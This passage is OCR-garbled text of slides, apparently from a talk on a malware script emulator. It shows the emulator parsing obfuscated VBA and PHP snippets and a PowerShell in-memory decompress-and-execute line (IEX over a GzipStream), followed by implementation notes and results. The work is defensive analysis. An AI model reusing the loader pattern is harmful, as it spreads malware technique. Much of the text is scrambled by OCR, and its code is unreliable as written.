s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ IIHTTPSH ] == llonll ) , Ilsll , owr$ ) )

_ifx(false,»»,?)

_ifx_(true,»s»,?)




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll == llonll ) , IISII , owr$ ) )

_ifx(false,»»,?)

_ifx_(true,»s»,»»)

B COMPARE: on == on

[none])




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Server [ llHTTPSll == llonll ) , IISII , owr$ ) )

_ifx(false,»»,»s»)

B COMPARE: on == on




s=_ifx_(empty (_server ["HTTPS"]), ", _ifx_ (|
_Servel" [ llHTTPSll == llonll ) , IISII , owr$ ) )

S = «S»

B COMPARE: on == on




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4lLgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn <aBFSh(6321 - 6317)) Then

= | exer/tokenizer:

* [T [0 [( [ah4lgn] [>] [abfsh] [(] [-18341] [+] [18342] [)] [and] [ah4Ign] [<] [abfsh] [(] [14966] [-] [14964] [)] D] [or] [(] [ah4ign] [>] [abfsh] [(]
[22272] [/] [7424] [)] [and] [ah4lgn] [<] [abfsh] [(] [6321] [-] [6317] )] D] DI [then]

= Token rewrite:
* None

» Top-node:Function-call If
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PtzName
PtgFunc
PtgName : ahd4lgn
Pteglt : <
PtgInt : 7424
PtgInt : 22272
Pteliv : f
Ptglame : abfsh
PtgFunc : P{1) : I(@)
PtgName : ahd4lgn
PtgMt @ >
PtghAnd : and
PtgInt : 14964
PtgInt : 14966
Ptg5ub @ -
Ptglame : abfsh
PtgFunc : P{1) : I(@)
PtgName : ahd4lgn
Ptelt @ <
PtgInt : 18342
PtgInt : -18341
Ptgadd : +
PtgName : abfsh
PtgFunc : P{1) : I{@)
PtgName : ahdlgn
PtgMt @ >
Ptgand : and
Ptglhr : or
PtgMame : if
PtgFunc : P{1)} : I(@)




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

?&&?

[ |
W ?>7? i ?<?

[ |
W ?>7? i ?<?

I Ahdlgn I ?(?) . Ahdlgn ' ?2(?) . Ahdlgn ' ?(?) l Ahdlgn

PtgInt : 6317
PtgInt : 6321
Ft:_ub 3 =

= ahﬁlgn

PtgAnd : and
PtgInt : 14964
PtgInt : 14966

e 1b _h

I(8)

Ptel t R
PtgInt : 1

Integer Integer Integer Integer Integer Integer Integer Integer
-18341 18342 14966 14964 22272 7424 6321 6317




PtgInt : 6317
PtgInt : 6321
Ft:_ub 3 =

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

= ahﬁlén

PtgAnd : and
PtgInt : 14964
PtgInt : 14966

e 'I|'_I _h

Ptel t .

?&&? PtgInt : !

[ ] [ |
W ?>7 E 17 W - A7 ﬁ 7<7 ceName : ah4lgn
. Ah4lgn I ?2(?) . Ah4lgn ' ?(?) . Ah4lgn ' ?(?) l Ah4lgn I ?(7) L :

I Abfsh . l Abfsh . . Abfsh l . Abfsh I
Integer Integer Integer Integer Integer Integer Integer Integer
-18341 18342 14966 14964 22272 7424 6321 6317

I(8)



PtgInt : 6317
PtgInt : 6321
Ft:_ub 3 =

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

= ahﬁlén

PtgAnd : and
PtgInt : 14964
PtgInt : 14966

e 'I|'_I _h

Ptel t .

?&&? PtgInt : !

Ahdlgn > ?

I ?(?) . Ahdlgn ' ?(?) . Ahdlgn ' ?(?) l Ahdlgn I ?(?) -

. Abfsh . l Abfsh . . Abfsh l . Abfsh I
Integer Integer Integer Integer Integer Integer Integer Integer
-18341 18342 14966 14964 22272 7424 6321 6317

I(8)



PtgInt : 6317

PtgInt : 6321

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn < totene s e
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 / Pegtane : anélan
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then 742

e : ahdlgn

PtgAnd : and
PtgInt : 14964
PtgInt : 14966

Ptelt : <
?&&? PtgInt : !

W Ahdlgn > ? ?<?
| |
I Abfsh (?)

I
[

[ 1
?/? . Abfsh ?-?
| !!?E!!!!:
| [ | [ ]
Integer Integer Integer Integer Integer
14964 22272 7424 6321 6317

|
I [

Integer Integer
-18341 18342

Integer
14966




PtgInt : 6317
PtgInt : 6321

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn < totene s e
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 / Pegtane : anélan
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then 742

e : ahdlgn

PtgAnd : and
PtgInt : 14964
PtgInt : 14966
2112 -

Pt

Ptelt : <
?&&? PtgInt : !
[

|
W Ahdlgn > ? ﬁ ?<?
| |
I Abfsh (?) I Ahdlgn

[

-18341 +7? Abfsh . ?-? . Abfsh

— | |

Integer Integer Integer
18342 14966 14964

I
|
[ I [ I

I H H L
[
Integer Integer Integer Integer
22272 7424 6321 6317




PtgInt : B

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4lgn < e e
aBFSh(14966 - 14964)) Or (ah4lLgn > aBFSh(22272 / ey
7424) And ah4lgn < aBFSh(6321 - 6317)) Then tent < 7

?||?

!

?8&&7? ?8&&?

| [ |
W Ah4lgn >? ﬁ ?<? ?>7? ﬁ ?<?
| | | | [ |
I Abfsh (?) I Ahdlgn ?(?) I Ahdlgn ' ?(?) I Ahdlgn I ?2(?)
|
[ [ |

— |
[ 1 1
-18341 +18342 l Abfsh . ?-7? . Abfsh l ?/? . Abfsh ?-?
| | !!i!?!!!:
[ | [ | [ |
Integer Integer Integer Integer
22272 7424 6321 6317

Integer
14964

Integer
14966




PtgInt : B

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4lgn < e e
aBFSh(14966 - 14964)) Or (ah4lLgn > aBFSh(22272 / ey
7424) And ah4lgn < aBFSh(6321 - 6317)) Then tent < 7

?||?

!

?8&&7? ?8&&?

I [ I
Ah4lgn >? ﬁ ?<? ?>7? ﬁ ?<?
I | I | I I
I
[

I Abfsh (1) I Ahdlgn ?(?) I Ahdlgn ' ?(?) I Ahdlgn I 207

| ? (2
[ 1 1 [ 1
I Abfsh I ?-7? I Abfsh I ?/? I Abfsh ?-?
| | !FEF!!!:
[ | [ | [ |
Integer Integer Integer Integer
22272 7424 6321 6317

Integer
14964

Integer
14966




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

Ffﬂhnd : and

?8&&7?
[ I

i Ahdlgn > 64 ?<? W ﬁ
I Ahdlgn ' ?(?) I Ahdlgn ' ?(?) I Ahdlgn I ?(?)

I Abfsh I I Abfsh I I Abfsh I

dd4d r!7 Eall abfsh (1)

=a0d3r 17 APL: 64 = abfsh -1_- Integer Integer Integer Integer Integer Integer
aadd3r!7 COMPARE: ahdlegn > 6 14966 14964 22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

Ffﬂhnd : and

true && ?

?<? W ﬁ
. Ahdlgn ' ?(?) I Ahdlgn ' ?(?) I Ahdlgn I ?(?)

I Abfsh I I Abfsh I I Abfsh I

dd4d r!7 Eall abfsh (1)

=a0d3r 17 APL: 64 = abfsh -1_- Integer Integer Integer Integer Integer Integer
aadd3r!7 COMPARE: ahdlegn > 6 14966 14964 22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

?||?

Pt

true && ?

| [ ono
HtgFunc ' E I(a)
Ahdgl <? ?>7? ?2<? ' L=
[ | [ | B
' ?(?) I Ah4lgn ' ?(?) I Ah4lgn I ?2(?)
|
[ ] [ | [ ]
I Abfsh I ?-? I Abfsh I ?/? I Abfsh I ?-?
[ | [ |

———— — I [
T T = o &) Integer Integer Integer Integer Integer Integer
aadd3r!7 COMPARE: ahdlegn > 64 14966 14964 22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

true && ?

| ?
I

[ ono
tgFunc I E I(a)
Ah4gl < ? ?>7? ?<? ! e i
| | | | "+ anc
' Abfsh (?) Ah4lgn ' ?(?) I Ah4ign I ?2(?)

] ? (3
[ I [ I

ﬂE_
Pt

I ?-? I Abfsh I ?/? I Abfsh I ?-7?
I [ I

Integer
14964

Y. T 5 TG . I
—— — — [ [

T T = o &) Integer Integer Integer Integer Integer
aadd3r!7 COMPARE: ahdlegn > 64 14966 22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

If(?)

=

[ ono
tgFunc :"? E I(a)
Ahdgl <? ?>7? ?2<? ' L=
| | | | s anc
Abfsh (?) I Ah4lgn ' ?(?) I Ah4lgn I ?2(?)
|
[ ] [ ]
I 14966 - ? I Abfsh I ?/?
I

I Abfsh ?-?
| !E?EF!!!!:
[ [ ]
Integer Integer Integer Integer Integer
14964 22272 7424 6321 6317

true && ?

]

(1)
aadd3r!7 API: 64 = abfsh (1)
aadd3r!7 COMPARE: ah4lgn > 64




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

If(?)

t 0%
and

nd :
i 20]? 3 :

[ | '+ L
g : I E I(a)
Ah4gl < ? ?>7? ?<? ! e i
[ | [ | e
Abfsh (?) Ahdlgn ' ?2(?) I Ahdlgn 207
g 1 E
[ | [ |
I 14966 - 14964 I Abfsh I ?/? I Abfsh ?-?
| g
[ | [ |
Integer Integer Integer Integer
22272 7424 6321 6317

true && ?

]




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

i If (2)
i 2012
|

] [ + : I
! : I ; p I(@)
Ahdgl <? ?>7? ?2<? ' L=
| | | "+ anc
[

t @ o>
: and

nd

true && ?

|
' Abfsh (2) I Ah4lgn ' ?(?) I Ah4ign I ?2(?)
I

I [ I

I Abfsh I ?/? I Abfsh I ?-7?
I
[ I

Integer Integer Integer Integer
22272 7424 6321 6317

sh (2)




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn < et
aBFSh(14966 - 14964)) Or (ah4lgn > aBFSh(22272 /  Fegtane
7424) And ah4lgn < aBFSh(6321 - 6317)) Then t

Ffﬂhnd : and

true && ?

]

H Ah4gl <91

?>7?

I Ahdlgn ' ?(?) I Ahdlgn I ?(?)
I Abfsh I I Abfsh I
Integer Integer Integer Integer
22272 7424 6321 6317

?<?

3r!7 COMPARE: ah4lgn < O




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

i If (?)
.r'llj ) : I Elri;lj
i 20]? o

[

. true && false

I(@)

[ I

Integer Integer Integer Integer
22272 7424 6321 6317

COMPARE: ah4lgn

true and false




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

i If (?)
nd : and
i false || ? o

I(@)

]

Integer Integer Integer Integer
22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

+

nd : and

false || ?

I(@)
Ahdlgn >?

]

Integer Integer Integer Integer
22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

[

I T - - :
: ¢ 1- I(e)
Ahdlgn >? ?<? ! :
| | -
' Abfsh (?) Ah4lgn I ?(?) e
[ |

I ?/? I Abfsh ?-?
| E
[ | [ |
Integer Integer Integer Integer
22272 7424 6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

[

| o : :
: [ o I(@)
Ahdlgn >? ?<? ! :
| | "+ anc
i Abfsh (?) i Ah4lgn i 2(?)

I—l [ HI

22272/ I Abfsh I ?-?
— . [ I

Integer Integer
6321 6317

'Integer

7424




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

[

| o : :
: [ o I(@)
Ahdlgn >? ?<? ! :
| | "+ anc
' Abfsh (?) . Ah4lgn I ?2(?)

22272/ 7424 . Abfsh I ?-?
[ |
Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

Ahdlgn >?

I T - - :
! c I p I(@)
?<? ' :
) | | I I.:
I Abfsh (3) . Ah4lgn I ?2(?)
[ |

I Abfsh I ?-?
[ |
Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

[

A | + : I
: [ o I(@)
Ah4lgn > 96 ?<? ' :
| | "+ anc
I Ah4lgn I ?2(?)
[ |

I Abfsh I ?-?
[ |
Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

true && ?

! c p I(@)
2<? ' :
) | , | -:I.:
' Ah4lgn i ?2(?)
[ |

. Abfsh . ?-?
[ |
Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

+

nd : and

false || ?

@ : c: P o I(@)
Agdlgn < ? ' :

[ I

Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

: c: P o I(@)
Agdlgn<? ' :
i Abfsh (?)

_ [ , |
Integer Integer
6321 6317




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

false || ?

t @ o>
: and

nd

i Agdlgn < ?
i Abfsh (?)

i 6321-7?
Integer
6317

I(@)




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

I(@)
Agdlgn < ?

Abfsh (?)

6321-6317



If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

I(@)

Agdlgn < ?

I Abfsh (4)

7 Call abfsh (4]



If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

: c: P o I(@)
Agélgn <123 ' :




If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

t @ o>
: and

nd

false || ?

. true && true

I(@)

OMPA
AMD: true and true




PtgInt :

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

T

I({8)

I_F

+ moog
= T

o
T
m T T

If (?)

I false || true

I(@)

OMPA
AMD: true and true

7 OR: false or true



PtgInt :

If (ah4Lgn > aBFSh(-18341 + 18342) And ah4Lgn <
aBFSh(14966 - 14964)) Or (ah4Lgn > aBFSh(22272 /
7424) And ah4Lgn < aBFSh(6321 - 6317)) Then

I If (true)

T

I({8)

I_F

+ moog
= T

o
T
m T T

I(@)

OMPA
AND:




IEX (New-Object 10.StreamReader(New-Object
|O.Compression.GzipStream($s,[10.Compression.Co
mpressionMode]:.:Decompress))).Read ToEnd();

= | exer/tokenizer:

» [IEX] [(] [New-Object] [10] [.] [StreamReader] [(] [New-Object] [IO] [.] [Compression] [.] [GzipStream] [(] [$s] [,] [[] [1O] [.] [Compression]
[.] [CompressionMode] ]]] [::] [Decompress] D] D] D] [.] [ReadToEnd] [(] ]

= Token rewrite:

» |[EX ( New-Object 10 . StreamReader ( New-Object 10 . Compression . GzipStream ( $s, [ IO . Compression . CompressionMode | ::
Decompress ) ) ) . ReadToEnd ()

 iex (io.streamreader ( io.compression.gzipstream ( s , io.compression.compressionmode.decompress ) ) ).readtoend ()

= Function-call top-node
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iex ( io.streamreader ( io.compression.gzipstream (s,
lo.compression.compressionmode.decompress ) ) ).readtoend () m
|
I ]
——
I I
=
|
| ]
N =
|
I ]
|
|
| ] | | |
- —
|
| |
]
| |
|
| l
-




PtgHame :

PteFunc
iex (io.streamreader ( io.compression.gzipstream ( s, @ Ffpﬂﬂr"::ni eom
io.compression.compressionmode.decompress ) ) | .(.)1 | F:tgu'?"if o
).readtoend () m P
iex ?.?
|

ENE

. ? ?()

Base
streamreader
|

Base
2.2 ?(?,?)
m % I gzipstream l

Base
decompress
Base m
?.? compressionmode
I
[ |

|
ENE

Rl?




PtgHame :
PtgFunc

. . . . . -#f ”1ﬂ; T decomp
iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgName :
io.compression.compressionmode.decompress ) ) teliane : io
).readtoend () Base Lo

@

Base
streamreader
]

Base
2(2,?)
[
I!m I!m I!Eﬁ!i I!Eﬂi Base
io compression gzipstream

Base
decompress
Base m
l l compression




PtgHame :
PtgFunc

. . - . . -#f ”1ﬂ; T decomp
iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) Ptghame :
io.compression.compressionmode.decompress ) ) teliane : io
).readtoend () Base Lo
iﬁ?%?é! Ii@?@;@

E ?(?) I readtoend
E 2(2,?)

Base
streamreader R.?

Base
[
I!m I!m I!Eﬁ!i I!Eﬂi Base
io compression gzipstream

Base
decompress
Base m
l l compression




PtgHame :
PtgFunc :

. . . . . -ﬁtgnaw; T decomp

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) ptgName : io

).readtoend () Base B
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

Base
[ |
Base
R.? ?(?,?)
[ 1 [ | |
I!m I!m Iim m Base
io compression gzipstream s .2
|
[ |
Base
R.? decompress
[ |

Base
?.? compressionmode
I
[ |
l io l compression

2.?




PtgHame :

PteFunc :

iex (io.streamreader ( io.compression.gzipstream (s, _ e
io.compression.compressionmode.decompress ) ) @‘ e
).readtoend () Base foe : .

2.2
I

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Base
io.?
[
compression l gzipstream

|
Base

iR ?

[ : |
Base
R.? decompress
[ |
Gase Il Name |
l ?.? compressionmode
[ |




PtgHame :
PtgFunc :

. . . . . -ﬁtgﬂaw; T O

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) tellane : ic

).readtoend () Base Lo
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Base
io.compression

2(2,?)

l gzipstream

L

|
Base
[ ?.?
[ |
Base
R.? decompress
[ |
Gase Il Name |
l ?.? compressionmode
[ |

__main__!1 BASE: I0 . compression




PtgHame :
PtgFunc :

. . . . . -ﬁtgﬂaw; T O

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) tellane : ic

).readtoend () Base Lo
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Class COMPRESSION.?

E ?(?,?)
[ I
‘ gzipstream I s

[ : |
Base
R.? decompress
[ |
Gase Il Name |
l ?.? compressionmode
[ |

|
Base

2. ?

__main__!1 BASE: I0 . compression




PtgHame :
PtgFunc :

. . . . . -ﬁtgﬂaw; T O

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) tellane : ic

).readtoend () Base Lo
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Class COMPRESSION.?

E gzipstream(?,?)

[ I

Name [l Base
: |
[ |
Base
R.? decompress
[ |
Gase Il Name |
l ?.? compressionmode
[ |

2. ?

__main__!1 BASE: I0 . compression




PtgHame :
PtgFunc :

. . . . . -ﬁtgﬂaw; T O

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) tellane : ic

).readtoend () Base Lo
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Class COMPRESSION.?

E gzipstream(s,?)

__main__!1 BASE: I0 . compression [ ]

Base
R.? decompress
[ |
Gase Il Name |
l ?.? compressionmode
[ |

|
Base

2. ?




PtgHame :
PtgFunc :

. . . . . -ﬁtgﬂaw; T O

iex (io.streamreader ( io.compression.gzipstream ( s, PtgName :

. . . iex (?) PtgMame :

io.compression.compressionmode.decompress ) ) tellane : ic

).readtoend () Base Lo
[ |

Base
i0.? ?()
E streamreader(?) I readtoend

ENE

Class COMPRESSION.?

|

__main__!1 BASE: I0 . compression [ ]

Base
R.? decompress
[ |
Base [ Name |

—

compression



e : readtoend
(@) : I(\)

iex (io.streamreader ( io.compression.gzipstream ( s, e e mode
. . . iex (?) ame : compression
io.compression.compressionmode.decompress ) ) ame : io .
).readtoend () Base .
[ |

e : gzipstrea
ENE e : io
i0.? 2() .
e : streamreader
c : P{1) : I(@)
streamreader(?) readtoend

L___—__W

Class COMPRESSION.?

gzipstream(s,?)

2. ?

__main__!1 BASE: I0 . compression [ ]

R.? I decompress

Base
io.compression

__main__!1 BASE: I0 . compression

compressionmode




iex (io.streamreader ( io.compression.gzipstream ( s,
. . . iex (?)
io.compression.compressionmode.decompress ) )
).readtoend () Base
[ |

Base
i0.? ?()
streamreader(?) i readtoend

I—l

Class COMPRESSION.?

gzipstream(s,?)

__main__!1 BASE: I0 . compression

__main__!1 BASE: I0 . compression

decompress

compressionmode



iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

streamreader(?) readtoend

I—l

Class COMPRESSION.?

gzipstream(s,?)

COMPRESSION.:ompressi decompress



iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

streamreader(?) readtoend

I—l

Class COMPRESSION.?

gzipstream(s,?)

Class
COMPRESSIONMODE.?

decompress



iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

streamreader(?) readtoend

I—l

Class COMPRESSION.?

gzipstream(s,?)

Class
COMPRESSIONMODE .
decompress




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

streamreader(?) readtoend

I—l

Class COMPRESSION.?

gzipstream(s,0)




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

streamreader(?) readtoend

—

GZIPSTREAM object




iex (io.streamreader ( io.compression.gzipstream ( s,
. . . iex (?)
io.compression.compressionmode.decompress ) )
).readtoend () Base
[ |
Base

ﬂ Eireamreager

readtoend

-1s




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

i0.GZIPSTREAM

readtoend

-1s




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

GZIPSTREAM.?

readtoend




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()

GZIPSTREAM.?

readtoend()




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()




iex (io.streamreader ( io.compression.gzipstream ( s,
io.compression.compressionmode.decompress ) )
).readtoend ()




Data structure for ‘value’

To be able to store any item into a value (variable, constant, parameter, node, returncodes etc)

std::variant<std::monostate, int64 _t, bool, double, std::string, std::shared ptr<BASECLASS>, std::shared ptr<ARRAY>> [;
| = std::string{«hello»};
| = (double) 0.1;

| = false;

| = std::make_shared<ARRAY>(50); Val u e
| = (int64_t) 100;
/[ Access via std::get _if I d e n t I fl e r

if (const auto pi = std::get_if<int64_t>(&l))

Do_something_with_value (*pi); L O C at i O n

(std::monostate is there so if index==0 it means there is no value at all)
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APl WORLD

= Each language needs to define an API world available to the emulator (callback from front-end)

= E.g.: PHP malware needs strrotl13

SeError PHP_SCRIPT_EMULATOR: :myStrRotl3(std::vector<std::shared ptr<PARAMETER>>& args, VALUEE rc)

k3 '::E IS .
return SeEr INVALID PARAMETERS;

if (GetValueType(arg=[8]->val) != SemuValueType::String %& GetIdemtifierType(args[@]->val) != SemuValueType::5tring)
return SeError::INVALTD PARAMETERS;

std: :string s;
GetValue| =[@8]->val, &s);

for (size t 1 = 8; i < s.size(); i++)

if ((s[i] »= 97 && s[i] <= 122) || (s[i] »= 65 && s[i] <=
r
L

» 189 || (s[i] > 77 && s[i] < 91))
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Some challenges

= Avoid recursion when building AST and emulating it

* Fine with longer normal lines, but when you have e.g. 400,000 string-concatentations in one line the
generation of the tree will smash your stack

* If emulator starts with root node and first node completes at level 400,000 — you”ll smash your stack waiting
= Decode all properties from VBA userforms and document body etc

* Is there any documentation?
* When dealing with XLM (XF) you have 3 formats to cover: xIs, xlsm and xIsb

« Xls and xlIsb uses slightly different p-code/AST
a) Excel p-code/AST seem to go right -> left, not left -> right
b) Formula statements needs to compile text-code to pcode
« Xlsm uses text only
a) Needs to be compiled to AST
* My solution?
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Results

= Speed
» Average time pr infected VBS script: 26 milliseconds (success-rate > 82%)
a) Was 18-19 milliseconds before smart-pointers were introduced
b) Version 2 reduced average of 26 ms to 22 ms (and 92% success-rate)
» Average time on any clean file: 2 milliseconds (any file size)
a) Loading & mapping the «source»
= Data
* API log (of interresting APIS)
« Execution log (complete, could be used for ML features and/or Yara)
» Deobfuscated source
« Embedded objects extracted
a) Files being dropped on «disk»
b) Scripts being «executed» in memory
c) Changes to «registry»
d) Full dumps of sheets with cell information + document body and various other Office fields
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